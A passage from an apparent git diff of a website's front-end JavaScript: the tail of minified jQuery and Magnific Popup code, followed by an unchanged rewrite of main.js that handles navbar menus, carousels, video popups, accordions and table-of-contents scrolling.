r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=Fe(y.pixelPosition,function(e,t){if(t)return t=We(e,n),Pe.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return $(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 0(a||v.height())},_setFocus:function(){(b.st.focus?b.content.find(b.st.focus).eq(0):b.wrap).focus()},_onFocusIn:function(c){return c.target===b.wrap[0]||a.contains(b.wrap[0],c.target)?void 0:(b._setFocus(),!1)},_parseMarkup:function(b,c,d){var e;d.data&&(c=a.extend(d.data,c)),y(l,[b,c,d]),a.each(c,function(c,d){if(void 0===d||d===!1)return!0;if(e=c.split("_"),e.length>1){var f=b.find(p+"-"+e[0]);if(f.length>0){var g=e[1];"replaceWith"===g?f[0]!==d[0]&&f.replaceWith(d):"img"===g?f.is("img")?f.attr("src",d):f.replaceWith(a("").attr("src",d).attr("class",f.attr("class"))):f.attr(e[1],d)}}else b.find(p+"-"+c).html(d)})},_getScrollbarSize:function(){if(void 0===b.scrollbarSize){var a=document.createElement("div");a.style.cssText="width: 99px; height: 99px; overflow: scroll; position: absolute; top: -9999px;",document.body.appendChild(a),b.scrollbarSize=a.offsetWidth-a.clientWidth,document.body.removeChild(a)}return b.scrollbarSize}},a.magnificPopup={instance:null,proto:t.prototype,modules:[],open:function(b,c){return A(),b=b?a.extend(!0,{},b):{},b.isObj=!0,b.index=c||0,this.instance.open(b)},close:function(){return a.magnificPopup.instance&&a.magnificPopup.instance.close()},registerModule:function(b,c){c.options&&(a.magnificPopup.defaults[b]=c.options),a.extend(this.proto,c.proto),this.modules.push(b)},defaults:{disableOn:0,key:null,midClick:!1,mainClass:"",preloader:!0,focus:"",closeOnContentClick:!1,closeOnBgClick:!0,closeBtnInside:!0,showCloseBtn:!0,enableEscapeKey:!0,modal:!1,alignTop:!1,removalDelay:0,prependTo:null,fixedContentPos:"auto",fixedBgPos:"auto",overflowY:"auto",closeMarkup:'',tClose:"Close (Esc)",tLoading:"Loading...",autoFocusLast:!0}},a.fn.magnificPopup=function(c){A();var d=a(this);if("string"==typeof c)if("open"===c){var e,f=u?d.data("magnificPopup"):d[0].magnificPopup,g=parseInt(arguments[1],10)||0;f.items?e=f.items[g]:(e=d,f.delegate&&(e=e.find(f.delegate)),e=e.eq(g)),b._openClick({mfpEl:e},d,f)}else b.isOpen&&b[c].apply(b,Array.prototype.slice.call(arguments,1));else c=a.extend(!0,{},c),u?d.data("magnificPopup",c):d[0].magnificPopup=c,b.addGroup(d,c);return d};var C,D,E,F="inline",G=function(){E&&(D.after(E.addClass(C)).detach(),E=null)};a.magnificPopup.registerModule(F,{options:{hiddenClass:"hide",markup:"",tNotFound:"Content not found"},proto:{initInline:function(){b.types.push(F),w(h+"."+F,function(){G()})},getInline:function(c,d){if(G(),c.src){var e=b.st.inline,f=a(c.src);if(f.length){var g=f[0].parentNode;g&&g.tagName&&(D||(C=e.hiddenClass,D=x(C),C="mfp-"+C),E=f.after(D).detach().removeClass(C)),b.updateStatus("ready")}else b.updateStatus("error",e.tNotFound),f=a("
");return c.inlineElement=f,f}return b.updateStatus("ready"),b._parseMarkup(d,{},c),d}}});var H,I="ajax",J=function(){H&&a(document.body).removeClass(H)},K=function(){J(),b.req&&b.req.abort()};a.magnificPopup.registerModule(I,{options:{settings:null,cursor:"mfp-ajax-cur",tError:'The content could not be loaded.'},proto:{initAjax:function(){b.types.push(I),H=b.st.ajax.cursor,w(h+"."+I,K),w("BeforeChange."+I,K)},getAjax:function(c){H&&a(document.body).addClass(H),b.updateStatus("loading");var d=a.extend({url:c.src,success:function(d,e,f){var g={data:d,xhr:f};y("ParseAjax",g),b.appendContent(a(g.data),I),c.finished=!0,J(),b._setFocus(),setTimeout(function(){b.wrap.addClass(q)},16),b.updateStatus("ready"),y("AjaxContentAdded")},error:function(){J(),c.finished=c.loadError=!0,b.updateStatus("error",b.st.ajax.tError.replace("%url%",c.src))}},b.st.ajax.settings);return b.req=a.ajax(d),""}}});var L,M=function(c){if(c.data&&void 0!==c.data.title)return c.data.title;var d=b.st.image.titleSrc;if(d){if(a.isFunction(d))return d.call(b,c);if(c.el)return c.el.attr(d)||""}return""};a.magnificPopup.registerModule("image",{options:{markup:'
',cursor:"mfp-zoom-out-cur",titleSrc:"title",verticalFit:!0,tError:'The image could not be loaded.'},proto:{initImage:function(){var c=b.st.image,d=".image";b.types.push("image"),w(m+d,function(){"image"===b.currItem.type&&c.cursor&&a(document.body).addClass(c.cursor)}),w(h+d,function(){c.cursor&&a(document.body).removeClass(c.cursor),v.off("resize"+p)}),w("Resize"+d,b.resizeImage),b.isLowIE&&w("AfterChange",b.resizeImage)},resizeImage:function(){var a=b.currItem;if(a&&a.img&&b.st.image.verticalFit){var c=0;b.isLowIE&&(c=parseInt(a.img.css("padding-top"),10)+parseInt(a.img.css("padding-bottom"),10)),a.img.css("max-height",b.wH-c)}},_onImageHasSize:function(a){a.img&&(a.hasSize=!0,L&&clearInterval(L),a.isCheckingImgSize=!1,y("ImageHasSize",a),a.imgHidden&&(b.content&&b.content.removeClass("mfp-loading"),a.imgHidden=!1))},findImageSize:function(a){var c=0,d=a.img[0],e=function(f){L&&clearInterval(L),L=setInterval(function(){return d.naturalWidth>0?void b._onImageHasSize(a):(c>200&&clearInterval(L),c++,void(3===c?e(10):40===c?e(50):100===c&&e(500)))},f)};e(1)},getImage:function(c,d){var e=0,f=function(){c&&(c.img[0].complete?(c.img.off(".mfploader"),c===b.currItem&&(b._onImageHasSize(c),b.updateStatus("ready")),c.hasSize=!0,c.loaded=!0,y("ImageLoadComplete")):(e++,200>e?setTimeout(f,100):g()))},g=function(){c&&(c.img.off(".mfploader"),c===b.currItem&&(b._onImageHasSize(c),b.updateStatus("error",h.tError.replace("%url%",c.src))),c.hasSize=!0,c.loaded=!0,c.loadError=!0)},h=b.st.image,i=d.find(".mfp-img");if(i.length){var j=document.createElement("img");j.className="mfp-img",c.el&&c.el.find("img").length&&(j.alt=c.el.find("img").attr("alt")),c.img=a(j).on("load.mfploader",f).on("error.mfploader",g),j.src=c.src,i.is("img")&&(c.img=c.img.clone()),j=c.img[0],j.naturalWidth>0?c.hasSize=!0:j.width||(c.hasSize=!1)}return b._parseMarkup(d,{title:M(c),img_replaceWith:c.img},c),b.resizeImage(),c.hasSize?(L&&clearInterval(L),c.loadError?(d.addClass("mfp-loading"),b.updateStatus("error",h.tError.replace("%url%",c.src))):(d.removeClass("mfp-loading"),b.updateStatus("ready")),d):(b.updateStatus("loading"),c.loading=!0,c.hasSize||(c.imgHidden=!0,d.addClass("mfp-loading"),b.findImageSize(c)),d)}}});var N,O=function(){return void 0===N&&(N=void 0!==document.createElement("p").style.MozTransform),N};a.magnificPopup.registerModule("zoom",{options:{enabled:!1,easing:"ease-in-out",duration:300,opener:function(a){return a.is("img")?a:a.find("img")}},proto:{initZoom:function(){var a,c=b.st.zoom,d=".zoom";if(c.enabled&&b.supportsTransition){var e,f,g=c.duration,j=function(a){var b=a.clone().removeAttr("style").removeAttr("class").addClass("mfp-animated-image"),d="all "+c.duration/1e3+"s "+c.easing,e={position:"fixed",zIndex:9999,left:0,top:0,"-webkit-backface-visibility":"hidden"},f="transition";return e["-webkit-"+f]=e["-moz-"+f]=e["-o-"+f]=e[f]=d,b.css(e),b},k=function(){b.content.css("visibility","visible")};w("BuildControls"+d,function(){if(b._allowZoom()){if(clearTimeout(e),b.content.css("visibility","hidden"),a=b._getItemToZoom(),!a)return void k();f=j(a),f.css(b._getOffset()),b.wrap.append(f),e=setTimeout(function(){f.css(b._getOffset(!0)),e=setTimeout(function(){k(),setTimeout(function(){f.remove(),a=f=null,y("ZoomAnimationEnded")},16)},g)},16)}}),w(i+d,function(){if(b._allowZoom()){if(clearTimeout(e),b.st.removalDelay=g,!a){if(a=b._getItemToZoom(),!a)return;f=j(a)}f.css(b._getOffset(!0)),b.wrap.append(f),b.content.css("visibility","hidden"),setTimeout(function(){f.css(b._getOffset())},16)}}),w(h+d,function(){b._allowZoom()&&(k(),f&&f.remove(),a=null)})}},_allowZoom:function(){return"image"===b.currItem.type},_getItemToZoom:function(){return b.currItem.hasSize?b.currItem.img:!1},_getOffset:function(c){var d;d=c?b.currItem.img:b.st.zoom.opener(b.currItem.el||b.currItem);var e=d.offset(),f=parseInt(d.css("padding-top"),10),g=parseInt(d.css("padding-bottom"),10);e.top-=a(window).scrollTop()-f;var h={width:d.width(),height:(u?d.innerHeight():d[0].offsetHeight)-g-f};return O()?h["-moz-transform"]=h.transform="translate("+e.left+"px,"+e.top+"px)":(h.left=e.left,h.top=e.top),h}}});var P="iframe",Q="//about:blank",R=function(a){if(b.currTemplate[P]){var c=b.currTemplate[P].find("iframe");c.length&&(a||(c[0].src=Q),b.isIE8&&c.css("display",a?"block":"none"))}};a.magnificPopup.registerModule(P,{options:{markup:'
',srcAction:"iframe_src",patterns:{youtube:{index:"youtube.com",id:"v=",src:"//www.youtube.com/embed/%id%?autoplay=1"},vimeo:{index:"vimeo.com/",id:"/",src:"//player.vimeo.com/video/%id%?autoplay=1"},gmaps:{index:"//maps.google.",src:"%id%&output=embed"}}},proto:{initIframe:function(){b.types.push(P),w("BeforeChange",function(a,b,c){b!==c&&(b===P?R():c===P&&R(!0))}),w(h+"."+P,function(){R()})},getIframe:function(c,d){var e=c.src,f=b.st.iframe;a.each(f.patterns,function(){return e.indexOf(this.index)>-1?(this.id&&(e="string"==typeof this.id?e.substr(e.lastIndexOf(this.id)+this.id.length,e.length):this.id.call(this,e)),e=this.src.replace("%id%",e),!1):void 0});var g={};return f.srcAction&&(g[f.srcAction]=e),b._parseMarkup(d,g,c),b.updateStatus("ready"),d}}});var S=function(a){var c=b.items.length;return a>c-1?a-c:0>a?c+a:a},T=function(a,b,c){return a.replace(/%curr%/gi,b+1).replace(/%total%/gi,c)};a.magnificPopup.registerModule("gallery",{options:{enabled:!1,arrowMarkup:'',preload:[0,2],navigateByImgClick:!0,arrows:!0,tPrev:"Previous (Left arrow key)",tNext:"Next (Right arrow key)",tCounter:"%curr% of %total%"},proto:{initGallery:function(){var c=b.st.gallery,e=".mfp-gallery";return b.direction=!0,c&&c.enabled?(f+=" mfp-gallery",w(m+e,function(){c.navigateByImgClick&&b.wrap.on("click"+e,".mfp-img",function(){return b.items.length>1?(b.next(),!1):void 0}),d.on("keydown"+e,function(a){37===a.keyCode?b.prev():39===a.keyCode&&b.next()})}),w("UpdateStatus"+e,function(a,c){c.text&&(c.text=T(c.text,b.currItem.index,b.items.length))}),w(l+e,function(a,d,e,f){var g=b.items.length;e.counter=g>1?T(c.tCounter,f.index,g):""}),w("BuildControls"+e,function(){if(b.items.length>1&&c.arrows&&!b.arrowLeft){var d=c.arrowMarkup,e=b.arrowLeft=a(d.replace(/%title%/gi,c.tPrev).replace(/%dir%/gi,"left")).addClass(s),f=b.arrowRight=a(d.replace(/%title%/gi,c.tNext).replace(/%dir%/gi,"right")).addClass(s);e.click(function(){b.prev()}),f.click(function(){b.next()}),b.container.append(e.add(f))}}),w(n+e,function(){b._preloadTimeout&&clearTimeout(b._preloadTimeout),b._preloadTimeout=setTimeout(function(){b.preloadNearbyImages(),b._preloadTimeout=null},16)}),void w(h+e,function(){d.off(e),b.wrap.off("click"+e),b.arrowRight=b.arrowLeft=null})):!1},next:function(){b.direction=!0,b.index=S(b.index+1),b.updateItemHTML()},prev:function(){b.direction=!1,b.index=S(b.index-1),b.updateItemHTML()},goTo:function(a){b.direction=a>=b.index,b.index=a,b.updateItemHTML()},preloadNearbyImages:function(){var a,c=b.st.gallery.preload,d=Math.min(c[0],b.items.length),e=Math.min(c[1],b.items.length);for(a=1;a<=(b.direction?e:d);a++)b._preloadItem(b.index+a);for(a=1;a<=(b.direction?d:e);a++)b._preloadItem(b.index-a)},_preloadItem:function(c){if(c=S(c),!b.items[c].preloaded){var d=b.items[c];d.parsed||(d=b.parseEl(c)),y("LazyLoad",d),"image"===d.type&&(d.img=a('').on("load.mfploader",function(){d.hasSize=!0}).on("error.mfploader",function(){d.hasSize=!0,d.loadError=!0,y("LazyLoadError",d)}).attr("src",d.src)),d.preloaded=!0}}}});var U="retina";a.magnificPopup.registerModule(U,{options:{replaceSrc:function(a){return a.src.replace(/\.\w+$/,function(a){return"@2x"+a})},ratio:1},proto:{initRetina:function(){if(window.devicePixelRatio>1){var a=b.st.retina,c=a.ratio;c=isNaN(c)?c():c,c>1&&(w("ImageHasSize."+U,function(a,b){b.img.css({"max-width":b.img[0].naturalWidth/c,width:"100%"})}),w("ElementParse."+U,function(b,d){d.src=a.replaceSrc(d,c)}))}}}}),A()}); \ No newline at end of file diff --git a/static/assets/js/main.js b/static/assets/js/main.js index 5907108137..37f649e3ce 100644 --- a/static/assets/js/main.js +++ b/static/assets/js/main.js @@ -1,633 +1,633 @@ -// navbar area JS v.2022 start -const navItems = document.querySelectorAll(".navbar-appscode .nav-item"); - -navItems.forEach(navItem => { - const item = navItem.querySelector('.link'); - item.addEventListener('click', function (el) { - - // to remove active class from previously selected navItem - const selectedNav = document.querySelector(".nav-item.is-active"); - if (selectedNav && selectedNav !== item.parentElement) { - selectedNav.classList.toggle('is-active') - } - - // handle selected navItem class - const hasActiveClass = navItem.classList.contains("is-active"); - navItem.classList.toggle('is-active') - - // handle background dark-shadow of navItem - const darkBodyEl = document.querySelector(".modal-backdrop"); - - function handleDarkBodyClickEvent(el) { - el.target.classList.remove('is-show') - const selectedNavItem = document.querySelector(".nav-item.is-active"); - selectedNavItem ? selectedNavItem.classList.toggle('is-active') : null; - } - - if (hasActiveClass && darkBodyEl.classList.contains("is-show")) { - darkBodyEl.classList.toggle("is-show"); - darkBodyEl.removeEventListener('click', handleDarkBodyClickEvent); - } else if (!hasActiveClass && !darkBodyEl.classList.contains("is-show") && !!navItem.querySelector('.mega-menu-wrapper')) { - darkBodyEl.classList.toggle("is-show"); - darkBodyEl.addEventListener('click', handleDarkBodyClickEvent); - } - }) -}) - -// mega menu active class -var navbarItems = document.querySelectorAll(".navbar-item"); -navbarItems.forEach((navbarItem) => { - navbarItem.addEventListener("click", function () { - var megamenues = document.querySelectorAll( - ".navbar-item > .ac-megamenu , .navbar-item > .ac-dropdown" - ); - // remove is-active class from all the megamenus except the navbar item that was clicked - megamenues.forEach((megamenu) => { - // toggle classes - if (megamenu.parentElement === navbarItem) - megamenu.classList.toggle("is-active"); - else megamenu.classList.remove("is-active"); - }); - }); -}); - -// Responsive menu back button -const backButtonAll = document.querySelectorAll(".back-button"); -// create click event for all back button -Array.from(backButtonAll).forEach((el) => { - el.addEventListener("click", () => { - // closeset nav item ancestor - const activeNavElement = el.closest(".nav-item.is-active"); - if (activeNavElement) activeNavElement.classList.remove("is-active"); - }) -}); -// navbar area JS v.2022 end - -// responsive navbar area -// elements selector where toggle class will be added -const selctorsForResponsiveMenu = [ - ".left-sidebar-wrapper", - ".navbar-appscode.documentation-menu > .navbar-right", - ".right-sidebar", - ".sidebar-search-area" -]; - -// toggle classes for responsive buttons -const toggleClassesForResponsiveMenu = ["is-block", "is-visible", "is-block", "right-0"]; -// All responsive menu buttons -const responsiveMenus = document.querySelectorAll(".responsive-menu > .is-flex.is-justify-content-space-between > .button"); -// iterate thorugh the menus to handle click event -Array.from(responsiveMenus).forEach((menu, idx) => { - menu.addEventListener("click", function () { - const toggleElement = document.querySelector(selctorsForResponsiveMenu[idx]); - if (toggleElement) { - // toggle active menu class - toggleElement.classList.toggle(toggleClassesForResponsiveMenu[idx]); - if (toggleElement.classList.contains(toggleClassesForResponsiveMenu[idx])) { - const backButtonElement = toggleElement.querySelector(".back-button"); - - function handleClick() { - toggleElement.classList.remove(toggleClassesForResponsiveMenu[idx]); - // remove event listener on back button click - backButtonElement.removeEventListener("click", handleClick); - } - - backButtonElement.addEventListener("click", handleClick); - - } - } - - const modalBackdropElement = document.querySelector(".modal-backdrop.is-show"); - // if modal backdrop element is visible then hide it - if (modalBackdropElement) { - modalBackdropElement.classList.remove("is-show") - } - - const navItem = document.querySelector(".nav-item.is-active"); - // if modal backdrop element is visible then hide it - if (navItem) { - navItem.classList.remove("is-active") - } - - // remove previous active menu - selctorsForResponsiveMenu.forEach((el, selectorIdx) => { - if (selectorIdx !== idx) { - const selectorElement = document.querySelector(selctorsForResponsiveMenu[selectorIdx]); - if (selectorElement.classList.contains(toggleClassesForResponsiveMenu[selectorIdx])) { - selectorElement.classList.remove(toggleClassesForResponsiveMenu[selectorIdx]) - } - } - }); - }); -}); - - -//mechanism tabs =============================================start - - // Get all the single-feature mechanism elements - const singleFeatures = document.querySelectorAll('.single-feature.mechanism'); - - // Add click event listener to each single-feature mechanism element - singleFeatures.forEach(function(feature) { - feature.addEventListener('click', function() { - const title = feature.querySelector('.mechanism .content strong'); - - const className = title.className; - showOnlySelectedDiv(className) - singleFeatures.forEach(function(feature) { - feature.classList.remove('is-active'); - }); - - feature.classList.add('is-active'); - const divs=document.querySelectorAll(className) - - - }); - }); - function showOnlySelectedDiv(selectedId) { - const divs = document.querySelectorAll('.ui-mechanism > div'); - - divs.forEach(function(div) { - if (div.id === selectedId) { - div.classList.remove('is-hidden'); - } else { - div.classList.add('is-hidden'); - } - }); - } - -//mechanism tabs =============================================end - -// docs page codeblock copy button -// document.querySelectorAll(".code-block-wrapper").forEach(codeBlockWrapper => { -// let heading = codeBlockWrapper.querySelector(".code-block-title") -// let downloadBtn = heading.querySelector(".download-here") -// let copyBtn = heading.querySelector(".copy-here") - -// // for download button -// const highlight = heading.nextElementSibling; -// const code = highlight.querySelector("code"); -// const codeContent = code.textContent; -// let fileType = code.getAttribute("class"); -// if (fileType) { -// fileType = fileType.replace("language-", ""); -// } else { -// fileType = "txt"; -// } -// let fileName = heading.querySelector("h4").textContent.replace(" ", "_"); -// if (downloadBtn) { -// downloadBtn.addEventListener("click", function () { -// return download(codeContent, `${fileName}.${fileType}`, "text/plain"); -// }); -// } - -// // for copy button -// new ClipboardJS(copyBtn, { -// target: function (trigger) { -// trigger.title = "Copied"; -// return heading.nextElementSibling; -// } -// }); - -// }); - -// scroll to top start -//Get the button -const goToTopBtn = document.querySelector(".go-to-top"); -if (goToTopBtn) { - goToTopBtn.addEventListener('click', topFunction) -} - - -// When the user scrolls down 20px from the top of the document, show the button -document.addEventListener('scroll', scrollFunction); - -function scrollFunction() { - if (document.body.scrollTop > 20 || document.documentElement.scrollTop > 20) { - goToTopBtn.classList.add('is-visible'); - } else { - goToTopBtn.classList.remove('is-visible'); - } -} - -// When the user clicks on the button, scroll to the top of the document -function topFunction() { - document.body.scrollTop = 0; - document.documentElement.scrollTop = 0; -} -// scroll to top end - - -// close modal start -function closeModal() { - document.querySelectorAll('.modal').forEach((modal) => { - if (modal.classList.contains('is-active')) { - modal.classList.remove('is-active') - } - }) -} - -var h_editor = document.querySelector('.hero-area-code-editor'); -document.addEventListener("DOMContentLoaded", () => { - // highligh js initilization start - if (h_editor) { - h_editor.classList.add('is-visible') - } - // hero area right content - var h_right_content = document.querySelector('.h-right-content'); - if (h_right_content) { - h_right_content.classList.add('is-visible') - } - - // AOS Animation - // AOS.init({ - // once: true, - // }); - - // Get all "navbar-burger" elements - const $navbarBurgers = Array.prototype.slice.call( - document.querySelectorAll(".navbar-burger"), - 0 - ); - // Check if there are any navbar burgers - if ($navbarBurgers.length > 0) { - // Add a click event on each of them - $navbarBurgers.forEach((el) => { - el.addEventListener("click", () => { - el.classList.toggle("is-active"); - }); - }); - } - - // documentaion page select-box js - var selectBoxDropdown = document.querySelector(".product-version .dropdown"); - var selectBoxDropdownBtn = document.querySelector(".dropdown-trigger"); - selectBoxDropdownBtn?.addEventListener("click", function () { - selectBoxDropdown.classList.toggle("is-active"); - }) -}); - -// menu sticky -// Not a ton of code, but hard to - -// features products -$(document).ready(function () { - $(this).scrollTop(0); - - $('[data-serialscrolling]').serialscrolling({ - - // selector - targetSelector: '[data-serialscrolling-target]', - getTarget: function ($element) { - const target = $element.attr('data-serialscrolling'); - return $('[data-serialscrolling-target="' + target + '"]'); - }, - getTrigger: function ($page, $stack) { - const target = $page.attr('data-serialscrolling-target'); - return $stack.filter('[data-serialscrolling="' + target + '"]'); - }, - - // duration of the animation in ms - duration: 800, - - // easing function - easing: 'easeInOutExpo', - - // top offset in px - offsetTop: 0, - - // callback - callback: false - - }); -}); - -var owl = $('.testimonial-carousel'); -owl.owlCarousel({ - loop: true, - margin: 20, - autoplay: true, - nav: false, - dots: false, - smartSpeed: 2000, - responsiveClass: true, - autoplayHoverPause: true, - fluidSpeed: true, - responsive: { - 0: { - items: 1, - }, - 600: { - items: 1, - }, - 1400: { - items: 2, - } - } -}); -// Go to the next item -$('.customNextBtn').click(function () { - owl.trigger('next.owl.carousel'); -}) -// Go to the previous item -$('.customPrevBtn').click(function () { - owl.trigger('prev.owl.carousel'); -}) - -// video modal - $('.webinar-video, .yt-video, .demo-video').magnificPopup({ - disableOn: 700, - type: 'iframe', - mainClass: 'mfp-fade', - removalDelay: 160, - preloader: false, - fixedContentPos: false - }); - -// for social prove owlCarousel - - -// owl owlCarousel JS -var owlSocialProve = $('#brand-image-wrapper'); -owlSocialProve.owlCarousel({ - loop: true, - margin: 20, - autoplay: true, - nav: false, - dots: false, - fluidSpeed: true, - smartSpeed: 3000, - autoplayTimeout: 3000, - autoplayHoverPause: true, - rewindNav: false, - rewindSpeed: 0, - // autoHeight:true, - autoWidth: true, - responsiveClass: true, - responsive: { - 0: { - items: 2, - }, - 600: { - items: 1, - }, - 1400: { - items: 9, - } - } -}); - - -// previous webinar videos search -const searchWebinar = document.querySelector(".search-box input"); -let allWebinar = document.querySelectorAll('.webinar-video') - -searchWebinar?.addEventListener('keyup', function(){ - Array.from(allWebinar).forEach(singleWebinar => { - let titleHtml = singleWebinar.querySelectorAll('h1'); - Array.from(titleHtml).forEach(title => { - let titleData = title.innerHTML.toLowerCase(); - let inpData = searchWebinar.value.toLowerCase(); - - if (titleData.includes(inpData)) { - singleWebinar.parentElement.classList.remove("is-hidden") - }else { - singleWebinar.parentElement.classList.add("is-hidden") - } - }) - }) -}) - -// map area-tabs -var tabsMenus = document.querySelectorAll(".tabs-wrapper ul li"); -tabsMenus.forEach(tabItem => { - tabItem.addEventListener("click", function () { - // remove is-active from all the menus - tabsMenus.forEach(tabMenu => tabMenu.classList.remove("is-active")); - - // add is-active to the clicked menu - tabItem.classList.add("is-active"); - - // activate map - var mapId = tabItem.getAttribute("href"); - - var mapElemUsa = document.getElementById("usa"); - var mapElemDhaka = document.getElementById("dhaka"); - - if (mapId === "usa") { - mapElemDhaka.classList.remove("is-active"); - mapElemUsa.classList.add("is-active"); - } else { - mapElemUsa.classList.remove("is-active"); - mapElemDhaka.classList.add("is-active"); - } - }); -}); -// For FAQ Collaps Page -const accordionItem = document.querySelectorAll(".accordion-item"); -const onClickAccordionHeader = (e) => { - if (e.currentTarget.parentNode.classList.contains("active")) { - e.currentTarget.parentNode.classList.remove("active"); - } else { - Array.prototype.forEach.call(accordionItem, (e) => { - e.classList.remove("active"); - }); - e.currentTarget.parentNode.classList.add("active"); - } -}; -const init = () => { - Array.prototype.forEach.call(accordionItem, (e) => { - e.querySelector(".accordion-header").addEventListener( - "click", - onClickAccordionHeader, - false - ); - }); -}; -document.addEventListener("DOMContentLoaded", init); - -// Table Of Content -// go the the section smoothly when click on a table-of-content item -const goToASectionSmoothly = () => { - const tocItems = document.querySelectorAll("#TableOfContents a"); - tocItems.forEach((item) => { - item.addEventListener("click", (e) => { - e.preventDefault(); - // go to the target section smoothly - const targetEl = document.querySelector(e.currentTarget.hash); - const pos = targetEl.offsetTop; - window.scrollTo({ - top: pos, - behavior: "smooth", - }); - }); - }); -}; - -// add .active dynamically to TOC -const spyScrolling = () => { - const allHeaders = document.querySelectorAll("h1, h2, h3, h4"); - - window.onscroll = () => { - const scrollPos = - document.documentElement.scrollTop || document.body.scrollTop; - for (let s in allHeaders) { - if ( - allHeaders.hasOwnProperty(s) && - allHeaders[s].offsetTop <= scrollPos + 100 - ) { - const id = allHeaders[s].id; - if (id) { - document.querySelectorAll("#TableOfContents a").forEach((a) => { - if (`#${id}` === a.hash) { - a.classList.add("active"); - } else { - a.classList.remove("active"); - } - }); - } - } - } - }; -}; - -goToASectionSmoothly(); -spyScrolling(); - -// docs page left sidebar first item font-size -document.addEventListener("DOMContentLoaded", () => { - // left sidebar menu fontSize - const sidebarMenu = document.querySelector(".product-sidebar-menu"); - if (sidebarMenu) { - sidebarMenu.children[0].children[1].children[0].style.fontSize = "22px"; - sidebarMenu.children[0].children[1].children[0].style.fontWeight = "600"; - } - // docs-page -> right sidebar (content > 20) then show a scroll - const allHeaders = document.querySelectorAll( - ".full-info > h2,.full-info > h3,.full-info > h4" - ); - if (allHeaders.length > 20) { - let rightSidebarArea = document.querySelector(".right-sidebar-area"); - rightSidebarArea.style.position = "inherit"; - } - - // docs page header link create - Array.from(allHeaders).forEach((el) => { - const id = el.id; - const anchorTag = document.createElement("a"); - anchorTag.setAttribute("href", "#" + id); - anchorTag.innerHTML = ` - - - - - - - - - - - `; - el.appendChild(anchorTag); - - //insert hash tag when click anchorTag - anchorTag.addEventListener("click", (e) => { - e.preventDefault(); - const targetEl = document.querySelector(e.currentTarget.hash); - window.history.pushState(id, "title", "#" + id); - const pos1 = targetEl.offsetTop - 35; - window.scrollTo({ - top: pos1, - behavior: "smooth", - }); - }); - }); - - //docs page heading content on reload - setTimeout(function () { - let getHash = location.hash; - if (getHash) { - const targetE2 = document.querySelector(getHash); - const pos2 = targetE2.offsetTop - 35; - scrollTo({ - top: pos2, - behavior: "smooth", - }); - } - }, 0); -}); - -// tabs active class add script - setup | install page -const tabItems = document.querySelectorAll(".nav-item .nav-link"); -tabItems.forEach((tab) => { - tab.addEventListener("click", (e) => { - e.preventDefault(); - const el = e.currentTarget; - - // add .active class to the clicked item, remove .active from others - document.querySelectorAll(".nav-item .nav-link").forEach((navLink) => { - navLink === el ? - navLink.classList.add("active") : - navLink.classList.remove("active"); - }); - - // add .show class to the target tab-pane, remove from others - const elHref = el.getAttribute("href"); - const tabPaneTarget = document.querySelector(elHref); - - document.querySelectorAll(".tab-pane").forEach((tabPane) => { - tabPane === tabPaneTarget ? - tabPane.classList.add("show") : - tabPane.classList.remove("show"); - }); - }); -}); - - -// custom accordion -function acAccordion(actionBtn) { - let accordionHeadingAll = document.querySelectorAll(actionBtn); - // Create event listeners for each accordion heading - Array.from(accordionHeadingAll).forEach((accordionHeading) => { - accordionHeading.addEventListener("click", function () { - let singleAcc = accordionHeading.closest(".single-accordion-item"); - - let isOpen = singleAcc.classList.contains("open"); - - // select all accordion - let accordionItems = document.querySelectorAll(".single-accordion-item"); - Array.from(accordionItems).forEach((accordionItem) => { - // close all item - accordionItem.className = "single-accordion-item closed"; - let icon = accordionItem.querySelector(".icon .fa"); - if (icon) { - icon.classList.replace("fa-minus", "fa-plus"); - } - let accordionBody = accordionItem.querySelector(".accordion-body"); - accordionBody.style.maxHeight = null; - }); - - // get single element icon - let icon = singleAcc.querySelector(".icon .fa"); - if (isOpen) { - singleAcc.className = "single-accordion-item closed"; - let accordionBody = singleAcc.querySelector(".accordion-body"); - accordionBody.style.maxHeight = null; - if (icon) { - icon.classList.replace("fa-minus", "fa-plus"); - } - } else { - singleAcc.className = "single-accordion-item open"; - let accordionBody = singleAcc.querySelector(".accordion-body"); - accordionBody.style.maxHeight = accordionBody.scrollHeight + "px"; - if (icon) { - icon.classList.replace("fa-plus", "fa-minus"); - } - } - }); - }); -} - -acAccordion(".accordion-heading h3"); -acAccordion(".accordion-heading .icon"); +// navbar area JS v.2022 start +const navItems = document.querySelectorAll(".navbar-appscode .nav-item"); + +navItems.forEach(navItem => { + const item = navItem.querySelector('.link'); + item.addEventListener('click', function (el) { + + // to remove active class from previously selected navItem + const selectedNav = document.querySelector(".nav-item.is-active"); + if (selectedNav && selectedNav !== item.parentElement) { + selectedNav.classList.toggle('is-active') + } + + // handle selected navItem class + const hasActiveClass = navItem.classList.contains("is-active"); + navItem.classList.toggle('is-active') + + // handle background dark-shadow of navItem + const darkBodyEl = document.querySelector(".modal-backdrop"); + + function handleDarkBodyClickEvent(el) { + el.target.classList.remove('is-show') + const selectedNavItem = document.querySelector(".nav-item.is-active"); + selectedNavItem ? selectedNavItem.classList.toggle('is-active') : null; + } + + if (hasActiveClass && darkBodyEl.classList.contains("is-show")) { + 